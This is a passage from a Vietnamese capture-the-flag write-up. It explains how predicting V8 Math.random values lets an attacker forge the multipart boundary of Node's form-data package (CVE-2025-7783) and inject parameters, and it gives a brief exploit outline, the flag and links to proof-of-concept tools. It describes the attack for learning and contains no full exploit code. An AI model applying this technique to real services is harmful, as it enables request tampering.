INFO:werkzeug:172.18.0.3 - - [01/Oct/2025 12:02:40] "POST /execute HTTP/1.1" 400 -
```
Tại đây có vẻ mọi người sẽ thắc mắc sao truyền đúng rồi mà ở sau lại bị 400 vẫn không nhận đúng không -> vì cái buffer data này là của request ta thêm vào:
```javascript
const fakeResponse = new Response(formData);
const rawBody = Buffer.from(await fakeResponse.arrayBuffer());
```
Chứ không phải của `execute` -> nên sai {11bytes} là điều hiển nhiên -> chỉ cần xóa cái dòng thêm vào là được.
### 8: Exploit flow
1. Bước 1: là ta sẽ register username, pass bất kì thỏa mã len > 5 là được.

2. Bước 2:

3. Bước 3:
Sẽ get nhiều random ở header về sau rồi đưa vào để crack giá trị tiếp theo sẽ random ra -> sau đó build payload injection vào action -> solved.

flag: `KMACTF{how_can_you_pollute_param_@@_}`
Tài liệu tham khảo:
https://hackerone.com/reports/2913312 Link này có đề cập cách khai thác với sát với bài này trong nodejs khác với bài dưới là cách lấy giá trị random từ server -> cách này hoạt động khi ứng dụng nodejs có chức năng fetch với FormData đến bất kì url nào mà ta control -> thì ta sẽ có thể lấy được 11bytes cuối của boundary random rồi đem đi crack.
https://github.com/benweissmann/CVE-2025-7783-poc/blob/main/exploit.js - Link này là poc của CVE-2025-7783 đề cập đến cách lấy giá trị random từ x-request-id rồi đi crack như trên, và bài này là khai thác của `form-data` là `--------------------------+24bytes random`.
---
https://github.com/PwnFunction/v8-randomness-predictor/tree/main
https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f
---
## Phần 2: https://hackmd.io/@l3mnt2010/S1BX1jc2lg